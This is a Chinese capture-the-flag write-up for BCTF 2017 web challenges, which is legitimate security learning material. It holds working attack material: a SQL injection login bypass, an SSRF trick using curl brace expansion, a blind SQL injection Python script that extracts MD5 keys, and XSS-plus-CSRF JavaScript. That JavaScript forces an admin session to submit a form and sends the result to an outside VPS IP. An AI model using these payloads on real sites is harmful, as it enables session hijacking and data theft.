BCTF 2017 WEB WriteUp
感覺這次比賽的題尤其火日師傅的出的兩個出得相當完美,感覺出得非常好,其他題目感覺或多或少都做的有點迷,還是太菜了,總之還是慢慢來,最近事情又堆起來了,慢慢來,回頭抽時間吧這段時間的東西慢慢整理下發出來好了。
basy sqli
總之這道題反正挺迷的。。兩道web和一道reverse都對應了這一個鏈接。點開看是一個登錄界面,然後簡單的把用戶名設爲admin'#
就登陸進去了,本來看題目名稱還以爲這裏能注入拿一個flag
,然後又回去折騰注入,折騰了40分鐘,實在是不行了,感覺根本注不了,就放棄了。先登進去看看好了,登進去,發現能買東西,也能下載,下下來有什麼a,b,c
等等之類的,然後買東西時候抓個包試了試買其他東西,買a
成功,買b
出一串奇怪的東西,買c
說錢不夠,買d
,flag出來了。。。迷。。。還好之前放棄了登陸框那兒的注入。。。。
後來簡單掃掃目錄才意識到問題,掃目錄掃到個.viminfo
,然後跟着提示最後找到一個zip
壓縮包,裏面是個linux可執行程序
d對應的本題的flag,所以大概應該是這樣把,b選項對應另一個web的flag,然後d選項對應reverse的flag。總之跟我無關了。。。結果到頭來還是不覺得這兩個web題和web有多大關係。
paint
進去是一個畫板,然後簡單fuzz了一會發現功能很少,可能有用的地方就兩個,一個是上傳圖片的upload.php
,另一個是轉換圖片的imag.php
,,而上傳圖片只會驗證之後改改文件名就存起來,但是image.php
會把你的url指向的圖片通過GD庫轉換之後存起來,這一點自己對比轉換前後的圖片就能看出來,另外還有一個flag.php
,訪問得到的結果說是一定要本地用戶訪問纔有flag
。
然後先簡單測試了下,感覺不想是ssrf,,雖然過濾了127.0.0.1
,不過通過127.0.x.x
都能訪問回本地,比如127.0.0.1
,索性我們嘗試訪問flag
,發現兩種情況的大小是不同的
說明第二個確實訪問到了flag,而且flag.php的大小是374字節。但是由於不是圖片,轉換失敗導致沒有辦法看到。
然後我們嘗試把image.php
指向我們的vps,發現它真的訪問過來了,並且根據收到的請求包判斷是curl
,然後進行測試是否是命令行的curl
命令,看看是否有機會進行命令執行,發現過濾比較嚴格,重要的命令執行符號,像是|
,;
,空格,美元符號等都被過濾了,但是我們通過大括號就能判斷它確實是執行了curl
命令,例如url=http://127.0.0.2/{uploads/1492355833x2dDz34y.gif,flag.php}
,這樣得到的結果大小等於兩者大小之和,所以思路就來了,我們將一個正常圖片和flag放到一起然後使其能夠轉換成圖片,然後我們把圖片下載下載就能獲取到flag。但是我們要考慮一個問題,就是flag的內容也有可能被轉換,那很好解決,我們找一張圖片上傳上去,然後轉化後和原圖進行對比,比如我發現其中從10000字節到11000字節處二者完全相等,即沒有被轉化的部分,然後把圖片的0-10000
的部分存成flag1.gif
,把10375-結束
的部分存成flag2.gif
,然後兩個gif都上傳,得到連個文件對應的文件爲uploads/1492355833x2dDz34y.gif
和uploads/1492356344HXzAeXX6.gif
,然後構造如下請求:
url=http://127.0.0.2/{uploads/1492355833x2dDz34y.gif,flag.php,uploads/1492356344HXzAeXX6.gif}
這樣把轉換的結果圖片下載下來打開就能拿到flag了
signature
好吧,這道題纔是迷得要死。。。首先是從gayhub上扒到了源碼https://github.com/xiaobaozidi/bbbccctttffff
,然後進入源碼審計,先看到了license.txt
,發現是CI
框架,果斷把真源碼下載下來進行對比
簡單總結下改動,主要就是刪了個註冊功能,然後加了個能夠獲取flag的payment功能,另外加了幾個這種東西
剛開始簡單看了看覺得一點用都沒有。。然後就覺得就只有這麼點改動就要能進後臺觸發payment功能,是不是個0day,然後進入了超長的審計時間,最後審到頭腦爆炸。。。一直認爲是session有問題,然後折騰了好久還是沒有什麼思路。最後發現在這個blog_backup_2014.php
裏面有這個
意思是訪問它一下就直接登陸進去了。。。。
黑人問號.jpg
訪問http://payment.bctf.xctf.org.cn/index.php/blog_backup_2014
。。
然後進去輸入userid
的地方有個注入,是個盲注,然後關於拿flag
的payment功能需要輸入一大堆不知道的東西,所以還是先去盲注把。最後腳本如下:
import requests
import re
db_length=-1
db_name=""
url = 'http://payment.bctf.xctf.org.cn/index.php/admin'
r=requests.session()
r.get("http://payment.bctf.xctf.org.cn/index.php/blog_backup_2014")
def doinject(param):
#print param
data={'userid':param}
result=r.post(url,data=data)
content=result.content
#print content
if "Congraution!" in content:
return 1
elif "Wrong userid" in content:
return 0
else:
return -1
ans=""
'''
for i in xrange(1,100):
start=1
end=127
while(start!=end):
print str(start)+" : "+str(end)
if(end-start==1):
param="1'||if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='sourcekey')),"+str(i)+",1))>'"+str(start)+"',1,0)#"
if doinject(param)==1:
end=start
else:
start=end
else:
mid=(start+end)/2
param="1'||if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='sourcekey')),"+str(i)+",1))>'"+str(mid)+"',1,0)#"
#print param
tag=doinject(param)
if tag==1:
start=mid
elif tag==-1:
end+=1
else:
end=mid
ans+=chr(start)
print ans
print ans
'''
for i in xrange(1,1000):
start=1
end=127
while(start!=end):
print str(start)+" : "+str(end)
if(end-start==1):
param="1'||if((select(group_concat(md5_key))from(sourcekey))>'"+ans+chr(start)+"',1,0)#"
if(doinject(param)):
end=start
else:
start=end
else:
mid=(start+end)/2
param="1'||if((select(group_concat(md5_key))from(sourcekey))>'"+ans+chr(mid)+"',1,0)#"
#print param
tag=doinject(param)
if(tag):
start=mid
elif tag==-1:
end+=1
else:
end=mid
ans+=chr(start)
print ans
print ans
'''
table:payment,sourcekey,users
column:
1==>USERID,BILLNO,BANKNAME,SERVICETYPE
C33506,C91536,K44098,K55106,M50655
45156890612662948,45022786012413371,89321845293416108,81671845408172653,33465675673245562
HSBC,HSBC,CMB,CMB,CSA
CARD_PAY
2==>BANKNAME,MD5_KEY
CBC,CMB,CSB,HSBC
02359DC1A4D2612AAC83872031D970B9,6C35EBC95955C672EAD533295587FE07,ABB0A201345974F3DBF641EA2F8686CB,073A6AB30B859E326719E18A35DE17B4
3==>geile
'''
然後拿着數據去輸入就行了,注意這個Signature
算法已經在m_payment.php
給出
function tosignature($userid,$bankname,$billno,$servicetype,$md5_key)
{
$arr=array($userid,$bankname,$billno,$servicetype,$md5_key);
return md5(join('&',$arr));
}
然後輸入就拿到flag了。
所以說這麼一道題給這麼大一坨源碼是個什麼tm鬼。。。
迷。。。。。。。。
Diary
說道這個題,我有一句mmp必須要講,當然不是說題,而是說自己,這道題個人認爲出的相當好,我要打分至少打到4.5以上。不過也真是煩,這個題做了整整6個小時才做出來,最後總結主要被兩個點坑了,一個是我tm把我xss平臺的ip打錯了,白白浪費快一個小時,因爲我本地測用的本地的js,提交的時候用的vps上的js,導致很久很久都沒發現錯在哪兒,這是第一個點,第二個點是這道題有涉及到延遲,但是當你延遲太久服務器可能就會丟棄的你的這次操作了,比如同樣的代碼,最開始我設置的延遲10s,就失敗了,但是本地是成功的.然後一直找不到問題所在,很難受,後來改成6s就成功了.
總之還有很多其他問題,暴露出我太粗心了,各種地方犯各種問題,而且一但出現問題就更加焦躁,然後就死循環了。。。僵硬。。。
回到題目上來把。
先隨便註冊個賬戶,然後登陸,注意這裏在登陸的時候完成了一個跳轉,這個點對於後面的繞過很重要,
通過burp抓包也能看出來,當輸入用戶名密碼點擊登陸的時候,
有如下的請求過程
1.用戶名密碼token和next參數發往==>auth.bctf.xctf.org.cn/accounts/login/
2.被302去訪問auth.bctf.xctf.org.cn/o/authorize/
3.再次被302至http://diary.bctf.xctf.org.cn/這裏
其中在第三次的過程中完成了從auth.bctf.xctf.org.cn
跳轉至diary.bctf.xctf.org.cn
的過程並且其中攜帶的code後續可以用來驗證身份。
登陸進去之後發現一個地方輸入,一個地方有表單提交(ps:管理員提交的話就可以獲得flag),一個地方提交url。
那麼多半就是xss,先看輸入的地方,發現輸入之後打印的時候會經過filter.js
的過濾,簡單看了下filter.js
的源碼,沒有仔細看,大概就是下面的標籤不能用,script form object embed link meta svg use math video marquee isindex bgsound
,然後像是on事件,src,href
等重要屬性也用不了,但是很容易發現他沒有禁用iframe
,這樣很容易也就能想辦法繞過
在這個鏈接https://html5sec.org/
找到這麼個payload成功繞過
<iframe srcdoc="<img src=x onerror='alert(1);'>">
然後就能放我們script標籤執行js了。
好的xss的點有了,現在要想辦法讓管理員能觸發,提交的url那兒限制很死幾乎無法利用,需要找一個可以跳轉的地方好跳轉至我們控制的頁面。
後來發現static
鏈接有問題,這樣子http://diary.bctf.xctf.org.cn/static/%5c%5cbaidu.com
能夠成功跳轉值百度,這樣的話又有了跳轉,但是還有一個問題,要想要讓管理員去/survey/
處提交表單獲得flag,有token怎麼辦。。
具體的可以看這篇文章,和本題目幾乎一樣https://whitton.io/articles/uber-turning-self-xss-into-good-xss/
,一個組合利用。
這裏我就不再贅述原理了,直接講方法,之類我給出了兩種實現方式,說是兩種其實就是類似而已。
第一種,根據文章描述的原理,
首先我們在自己賬戶插入xss的payload如下
<iframe srcdoc="<script src='http://diary.bctf.xctf.org.cn/static/js/jquery.min.js'></script><script src='http://104.160.43.154:8000/myjs/post.js'></script>">
由於該iframe和父頁同源,所以通過該js文件創建我們需要的另一個用於退出我們自己賬戶然後登陸管理員賬戶的iframe
該post.js
內容如下:
var loginIframe = window.top.document.createElement('iframe');
loginIframe.setAttribute('src', 'http://104.160.43.154:8000/myjs/in_and_out.html');
window.top.document.body.appendChild(loginIframe);
setTimeout(function() {
$.post("http://diary.bctf.xctf.org.cn/survey/",
{
rate:'5',
suggestion:'123',
csrfmiddlewaretoken:document.cookie.split(';')[0].split('=')[1]
},
function (data){
$.get("http://xss平臺?a="+escape(data),functoon(data,status){});
}
);
}, 6000);
然後我們的in_and_out.html
的內容如下:
<meta http-equiv="Content-Security-Policy" content="img-src http://diary.bctf.xctf.org.cn/">
<img src="http://diary.bctf.xctf.org.cn/accounts/logout/" onerror="redir();">
<script>
var redir = function() {
window.location = 'http://diary.bctf.xctf.org.cn/accounts/login/';
};
</script>
我們在vps上的構造一個fake.html
如下:
<meta http-equiv="Content-Security-Policy" content="img-src http://diary.bctf.xctf.org.cn/">
<img src="http://diary.bctf.xctf.org.cn/accounts/logout/" onerror="login();">
<script>
var login = function() {
var loginImg = document.createElement('img');
loginImg.src = "http://diary.bctf.xctf.org.cn/accounts/login/";
loginImg.onerror = redir;
}
var redir = function() {
var code="d4SOl5u07GvJhsz5co1V084hGrQLoz";
//這裏code就是之前說的登陸的時候抓包攔下來的,抓到之後不發出去,把code複製出來,那個請求等他晾在那兒別發出去了
var loginImg2 = document.createElement('img');
loginImg2.src = 'http://diary.bctf.xctf.org.cn/o/receive_authcode?state=preauth&code='+code;
loginImg2.onerror = function() {
window.location = 'http://diary.bctf.xctf.org.cn/diary/';
}
}
</script>
然後提交構造的鏈接讓它跳到fake.html
來,然後就能夠成功實現攻擊。。注意每重複一次都得重新抓去一次code。
第二種就是不通過js文件創建iframe,直接在payload裏面放就行了,其實是一樣的,我們在自己賬戶插入xss的payload如下
<iframe srcdoc="<script+src%3d'http%3a//diary.bctf.xctf.org.cn/static/js/jquery.min.js'></script><script+src%3d'http%3a//104.160.43.154%3a8000/myjs/post.js'></script>"></iframe> <iframe srcdoc="<meta+http-equiv%3d'Content-Security-Policy'+content%3d'img-src+http%3a//diary.bctf.xctf.org.cn/'><img+src%3d'http%3a//diary.bctf.xctf.org.cn/accounts/logout/'+onerror%3d'redir()%3b'><script>var+redir+%3d+function()+{window.location+%3d+'http%3a//diary.bctf.xctf.org.cn/accounts/login/'%3b}%3b</script>"></iframe>
然後post.js
就可以直接這樣子,把功能分開免得出問題
setTimeout(function() {$.post("http://diary.bctf.xctf.org.cn/survey/",
{
rate:'5',
suggestion:'nosuggest',
csrfmiddlewaretoken:document.cookie.split(';')[0].split('=')[1]
},
function(data,status){
$.get("http://104.160.43.154:8000/xss/?a="+escape(data),function(data,status){});
}
)},6000)
最終獲取到的flag如下:
這道題收穫很大,因爲現在有很多地方都是利用這樣的跳轉進行身份認證,但是從來沒有想過有這種方式再配合上csp
去進行利用,膜拜姿勢orz。。。平時想的還是太少了。。思維僵化。。。
Alice and Bob
迷。。。
各種奇怪的不合邏輯的返回
猜測是預編譯把,不知道怎麼搞得。
最後師傅做出來的。。。
不懂。。。
迷。。。。
回頭看看別人wp學習下。。。